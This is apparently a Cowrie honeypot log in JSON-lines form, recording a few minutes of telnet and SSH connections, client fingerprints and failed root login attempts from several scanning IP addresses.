{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48240,"dst_ip":"10.17.0.5","dst_port":23,"session":"44529dc00b81","protocol":"telnet","message":"New connection: 152.42.224.71:48240 (10.17.0.5:23) [session: 44529dc00b81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:09.267097Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48256,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f80e2cd316c","protocol":"telnet","message":"New connection: 152.42.224.71:48256 (10.17.0.5:23) [session: 3f80e2cd316c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:10.991946Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37752,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8eb18ff8503","protocol":"telnet","message":"New connection: 152.42.224.71:37752 (10.17.0.5:23) [session: e8eb18ff8503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:23.855585Z"}
{"eventid":"cowrie.session.closed","duration":61.95728540420532,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:27.855914Z","src_ip":"152.42.224.71","session":"126d111d355b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52724,"dst_ip":"10.17.0.5","dst_port":23,"session":"78a7dcd7d989","protocol":"telnet","message":"New connection: 152.42.224.71:52724 (10.17.0.5:23) [session: 78a7dcd7d989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:28.417192Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.217.149.42","src_port":54728,"dst_ip":"159.203.135.109","dst_port":23,"session":"f341061e43c0","protocol":"telnet","message":"New connection: 85.217.149.42:54728 (159.203.135.109:23) [session: f341061e43c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:35.131938Z"}
{"eventid":"cowrie.session.closed","duration":0.030930042266845703,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:35.162746Z","src_ip":"85.217.149.42","session":"f341061e43c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":47800,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1df38d6292a","protocol":"ssh","message":"New connection: 80.66.85.226:47800 (10.17.0.5:22) [session: c1df38d6292a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:41.342972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:41.347789Z","src_ip":"80.66.85.226","session":"c1df38d6292a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:41.440892Z","src_ip":"80.66.85.226","session":"c1df38d6292a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"arsenal","message":"login attempt [root/arsenal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:41.726794Z","src_ip":"80.66.85.226","session":"c1df38d6292a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:42.823331Z","src_ip":"80.66.85.226","session":"c1df38d6292a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50528,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed7ee8e11409","protocol":"telnet","message":"New connection: 152.42.224.71:50528 (10.17.0.5:23) [session: ed7ee8e11409]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:45.166170Z"}
{"eventid":"cowrie.session.closed","duration":41.082796573638916,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:47.151720Z","src_ip":"152.42.224.71","session":"afc61503a767","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.22717475891113,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:47.494174Z","src_ip":"152.42.224.71","session":"44529dc00b81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55822,"dst_ip":"10.17.0.5","dst_port":23,"session":"b44c6b2f31c7","protocol":"telnet","message":"New connection: 152.42.224.71:55822 (10.17.0.5:23) [session: b44c6b2f31c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:48.174005Z"}
{"eventid":"cowrie.session.closed","duration":24.456008434295654,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:48.311491Z","src_ip":"152.42.224.71","session":"e8eb18ff8503","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55824,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee113351db20","protocol":"telnet","message":"New connection: 152.42.224.71:55824 (10.17.0.5:23) [session: ee113351db20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:54.896512Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.243.37.202","src_port":25944,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c1d0f07de2a","protocol":"ssh","message":"New connection: 104.243.37.202:25944 (10.17.0.5:22) [session: 6c1d0f07de2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:59.539589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:59.544528Z","src_ip":"104.243.37.202","session":"6c1d0f07de2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:59.552368Z","src_ip":"104.243.37.202","session":"6c1d0f07de2a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"22:7c:9c:46:20:1c:93:cd:ce:97:22:e4:d7:2b:5b:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdR0Nc9tZB4nYCkqO84iPmEcgQj2OiKZYqRHeIH8BaE0q69kRlx0BOjQG0TutOWyyp6DOx6nb3YDAkc9pqSEZjjer3mzMq/BNuH0nurNNKBZ7eE6FwMcBV4nuHllHMtjakL/uJNqlKKhvH43HJEof8iN5wU9h46EpQhhfUqhe+FPf37eseADEDwRd22Ki1HOtmV2zOauU+VRp12ss5odn7mhb45f97F1MNAhuDNERTXJGG72ys0LUUUgt5k62IgZtwoXtqZN/lCnr5lbgzxVeoUW7vIDrZDra+6SE4ypvnffsaJrAv+CegF5N/9xP3BcVeg8uTkEUDD1JXAU3zUWh1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 22:7c:9c:46:20:1c:93:cd:ce:97:22:e4:d7:2b:5b:5b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:59.572233Z","src_ip":"104.243.37.202","session":"6c1d0f07de2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"22:7c:9c:46:20:1c:93:cd:ce:97:22:e4:d7:2b:5b:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdR0Nc9tZB4nYCkqO84iPmEcgQj2OiKZYqRHeIH8BaE0q69kRlx0BOjQG0TutOWyyp6DOx6nb3YDAkc9pqSEZjjer3mzMq/BNuH0nurNNKBZ7eE6FwMcBV4nuHllHMtjakL/uJNqlKKhvH43HJEof8iN5wU9h46EpQhhfUqhe+FPf37eseADEDwRd22Ki1HOtmV2zOauU+VRp12ss5odn7mhb45f97F1MNAhuDNERTXJGG72ys0LUUUgt5k62IgZtwoXtqZN/lCnr5lbgzxVeoUW7vIDrZDra+6SE4ypvnffsaJrAv+CegF5N/9xP3BcVeg8uTkEUDD1JXAU3zUWh1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:59.578094Z","src_ip":"104.243.37.202","session":"6c1d0f07de2a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"03:54:37:46:a1:9b:bc:a5:70:57:f2:fe:eb:c7:49:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcwF3FBxlmnp5So+SxXj2W6j7U07KyA1/izFVyo+p5meoLk5P1Ph6oq2kltN988k0L/xO+A8LwcSb6DjgqlafA560juupvT6wbELnkkinpudfnswX4bxV/mtH9YUXY2Qadikgnau7PLWfI+7JFwmUizJVR4eKtZ98CqWf+iS+i7NQ2FowVLOnmU3mMvsKfUccu7jfaiy0+38mNE+bOY4o/jXGuOxugGu+T1ISsyRURGs4EYiQhSjW/4aeOYmywB8i4IshgVJMdLakSLd4LXRdJJxWT+IyKTsH2xilmyWVrxekUFENKkPY+h9kUW684BxonFB9X4HZuoxVlz7hljvqZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 03:54:37:46:a1:9b:bc:a5:70:57:f2:fe:eb:c7:49:0f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:59.585614Z","src_ip":"104.243.37.202","session":"6c1d0f07de2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"03:54:37:46:a1:9b:bc:a5:70:57:f2:fe:eb:c7:49:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcwF3FBxlmnp5So+SxXj2W6j7U07KyA1/izFVyo+p5meoLk5P1Ph6oq2kltN988k0L/xO+A8LwcSb6DjgqlafA560juupvT6wbELnkkinpudfnswX4bxV/mtH9YUXY2Qadikgnau7PLWfI+7JFwmUizJVR4eKtZ98CqWf+iS+i7NQ2FowVLOnmU3mMvsKfUccu7jfaiy0+38mNE+bOY4o/jXGuOxugGu+T1ISsyRURGs4EYiQhSjW/4aeOYmywB8i4IshgVJMdLakSLd4LXRdJJxWT+IyKTsH2xilmyWVrxekUFENKkPY+h9kUW684BxonFB9X4HZuoxVlz7hljvqZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:59.589205Z","src_ip":"104.243.37.202","session":"6c1d0f07de2a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"23:3c:9c:4e:f8:b4:9c:b0:a3:8b:a2:51:26:58:d0:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2ZGcI1zdkQ30Gx5rxrGvMGJV1FGAtoJQy7dkk5Rb6nhdPVSdpb7XsPmEolxBiLdNCZEE3kKQ6k9dGpe9ve8ge148YBgsdmAo49WIMAd68p7wVhOPGpDFj69oXDPqMKUcERR6FYCLbjrOutengx3fBN/NOJvc0ueGrcuJhghfZL6dV8UcW2U12PZV7w+XB9nF59wEvdKvfWNQ2ESgp8QZMIYl6+N1oUoFgapXO+FAkg8Srypup9082K6lIhHUKzU8M4z2D/Cw7SYQ4jrsdIErx65+iGHJlZsrdc21bwZFZgE7H7B48csmrE4q4Dt5Kwjs6hsVRd00yZXykpOR47flO/Mz/0CfvSGi7vO2ozMfRtqmmHkZcwLN9QOmxBENOD94Iz3fb1iZm5SLDyTu4ch1jjacbbuuHJNzHfscRy8dEWp8OqwccUoTN6sJK5wd/uhgTgivqu0U83V2RgVm7vFSqYgPHuKFbRXmpMIOCmE9+CnyRuY2UDokCup2fPQCvKHsQeJ8UTZ1cm3aAW9WhPEWG6LCKuLsOa7L8H1EtA65UWCZVhb4jdvzYOOKxCIJkp5rGD9kBXQccQn4iH6edpMzA/TL9+BpiOX1ZqUFA+5wQlSXbmuBzBq5X5G5eKmbZ3EIC1EGFK3NTIGQ+2j+AcQDGc6E9xMBXfBRiwX5HgKKfow==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 23:3c:9c:4e:f8:b4:9c:b0:a3:8b:a2:51:26:58:d0:d3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:59.597576Z","src_ip":"104.243.37.202","session":"6c1d0f07de2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"23:3c:9c:4e:f8:b4:9c:b0:a3:8b:a2:51:26:58:d0:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2ZGcI1zdkQ30Gx5rxrGvMGJV1FGAtoJQy7dkk5Rb6nhdPVSdpb7XsPmEolxBiLdNCZEE3kKQ6k9dGpe9ve8ge148YBgsdmAo49WIMAd68p7wVhOPGpDFj69oXDPqMKUcERR6FYCLbjrOutengx3fBN/NOJvc0ueGrcuJhghfZL6dV8UcW2U12PZV7w+XB9nF59wEvdKvfWNQ2ESgp8QZMIYl6+N1oUoFgapXO+FAkg8Srypup9082K6lIhHUKzU8M4z2D/Cw7SYQ4jrsdIErx65+iGHJlZsrdc21bwZFZgE7H7B48csmrE4q4Dt5Kwjs6hsVRd00yZXykpOR47flO/Mz/0CfvSGi7vO2ozMfRtqmmHkZcwLN9QOmxBENOD94Iz3fb1iZm5SLDyTu4ch1jjacbbuuHJNzHfscRy8dEWp8OqwccUoTN6sJK5wd/uhgTgivqu0U83V2RgVm7vFSqYgPHuKFbRXmpMIOCmE9+CnyRuY2UDokCup2fPQCvKHsQeJ8UTZ1cm3aAW9WhPEWG6LCKuLsOa7L8H1EtA65UWCZVhb4jdvzYOOKxCIJkp5rGD9kBXQccQn4iH6edpMzA/TL9+BpiOX1ZqUFA+5wQlSXbmuBzBq5X5G5eKmbZ3EIC1EGFK3NTIGQ+2j+AcQDGc6E9xMBXfBRiwX5HgKKfow==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:59.600936Z","src_ip":"104.243.37.202","session":"6c1d0f07de2a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:66:7f:e1:98:b2:6d:89:78:79:e7:83:d4:de:38:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2xa3WaoV4ZIDukPEqxScNPeHIHPTbU76G9KPPsjPfemQenREILCGsrgDzRc5vEIsTs6qx53vO+MuuYn9Lk0WMQSHFfhC32pfdX/ya/4PPbo7qcqnXKgBN3A8S3TLobblxUPrefkSYcucpxPl/l6t6WEjj0MD+3bhIpD63SOhflAh4G1w6+A6YEyyMh4D6jIdsprEtW2Uiy8dXUyl/RykJp0ujCFWVfjPYNY97Zjj+N+P9Pc7SvvBiSJG/4VcouYr1FkBRKkEJeosQtrIey21PvIcGReh+V97jKlXkW3Yyeop7Wnvi50x42t+DPZFA49BVBfUjtEBTlDyuSR69ocH7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b2:66:7f:e1:98:b2:6d:89:78:79:e7:83:d4:de:38:64","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:59.609743Z","src_ip":"104.243.37.202","session":"6c1d0f07de2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:66:7f:e1:98:b2:6d:89:78:79:e7:83:d4:de:38:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2xa3WaoV4ZIDukPEqxScNPeHIHPTbU76G9KPPsjPfemQenREILCGsrgDzRc5vEIsTs6qx53vO+MuuYn9Lk0WMQSHFfhC32pfdX/ya/4PPbo7qcqnXKgBN3A8S3TLobblxUPrefkSYcucpxPl/l6t6WEjj0MD+3bhIpD63SOhflAh4G1w6+A6YEyyMh4D6jIdsprEtW2Uiy8dXUyl/RykJp0ujCFWVfjPYNY97Zjj+N+P9Pc7SvvBiSJG/4VcouYr1FkBRKkEJeosQtrIey21PvIcGReh+V97jKlXkW3Yyeop7Wnvi50x42t+DPZFA49BVBfUjtEBTlDyuSR69ocH7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:59.614252Z","src_ip":"104.243.37.202","session":"6c1d0f07de2a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:74:dc:f4:d2:64:cc:b5:d6:52:79:95:de:58:46:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDA/THwgmTgSErpYJtPQKjDltP6aNQPQaH7fbX8tzS4jeZmhzEQY2L38hX1o7cxREorkbtlxt/2ilgFTLn9ajnnu67OI8WqFm9XDHk+C/UH2wGz3KSstDMOIz0RvaZrPYTkUAiNv4obTSCr60VqtJ80djgKM8EInXD7depZmU9b+AzijOe+TZxtMzb+o+PIxVaJHdnH5EgoLTZudJLOtw/faHgy1ORsc11QL2ZlynPRuehdSA3FfgOE+PvrkPK2h845sG0A0rqS0laJ1IFRja0H9cJzdp59CyKm55/uDLWGjhBz7hokTduWXkDhAwLSakslqy27yDmM4ItBR1d5Rk4/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:74:dc:f4:d2:64:cc:b5:d6:52:79:95:de:58:46:79","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:59.623323Z","src_ip":"104.243.37.202","session":"6c1d0f07de2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:74:dc:f4:d2:64:cc:b5:d6:52:79:95:de:58:46:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDA/THwgmTgSErpYJtPQKjDltP6aNQPQaH7fbX8tzS4jeZmhzEQY2L38hX1o7cxREorkbtlxt/2ilgFTLn9ajnnu67OI8WqFm9XDHk+C/UH2wGz3KSstDMOIz0RvaZrPYTkUAiNv4obTSCr60VqtJ80djgKM8EInXD7depZmU9b+AzijOe+TZxtMzb+o+PIxVaJHdnH5EgoLTZudJLOtw/faHgy1ORsc11QL2ZlynPRuehdSA3FfgOE+PvrkPK2h845sG0A0rqS0laJ1IFRja0H9cJzdp59CyKm55/uDLWGjhBz7hokTduWXkDhAwLSakslqy27yDmM4ItBR1d5Rk4/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:59.626661Z","src_ip":"104.243.37.202","session":"6c1d0f07de2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:59.634270Z","src_ip":"104.243.37.202","session":"6c1d0f07de2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.5358350276947,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:40:00.527670Z","src_ip":"152.42.224.71","session":"3f80e2cd316c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33096,"dst_ip":"10.17.0.5","dst_port":23,"session":"10a393282e72","protocol":"telnet","message":"New connection: 152.42.224.71:33096 (10.17.0.5:23) [session: 10a393282e72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:40:17.412885Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33108,"dst_ip":"10.17.0.5","dst_port":23,"session":"2508260f57e9","protocol":"telnet","message":"New connection: 152.42.224.71:33108 (10.17.0.5:23) [session: 2508260f57e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:40:19.775880Z"}
{"eventid":"cowrie.session.closed","duration":51.76092576980591,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:40:20.178026Z","src_ip":"152.42.224.71","session":"78a7dcd7d989","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33122,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8412169419b","protocol":"telnet","message":"New connection: 152.42.224.71:33122 (10.17.0.5:23) [session: e8412169419b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:40:21.290937Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33128,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b83a0d4bf04","protocol":"telnet","message":"New connection: 152.42.224.71:33128 (10.17.0.5:23) [session: 9b83a0d4bf04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:40:24.040552Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47512,"dst_ip":"10.17.0.5","dst_port":23,"session":"89b0904e8c8d","protocol":"telnet","message":"New connection: 152.42.224.71:47512 (10.17.0.5:23) [session: 89b0904e8c8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:40:26.318041Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47508,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ee2269c88e7","protocol":"telnet","message":"New connection: 152.42.224.71:47508 (10.17.0.5:23) [session: 3ee2269c88e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:40:26.326352Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.32.136","src_port":37476,"dst_ip":"159.203.135.109","dst_port":22,"session":"5fc6a9f8697f","protocol":"ssh","message":"New connection: 43.134.32.136:37476 (159.203.135.109:22) [session: 5fc6a9f8697f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:40:31.952441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:40:31.957313Z","src_ip":"43.134.32.136","session":"5fc6a9f8697f","protocol":"ssh"}
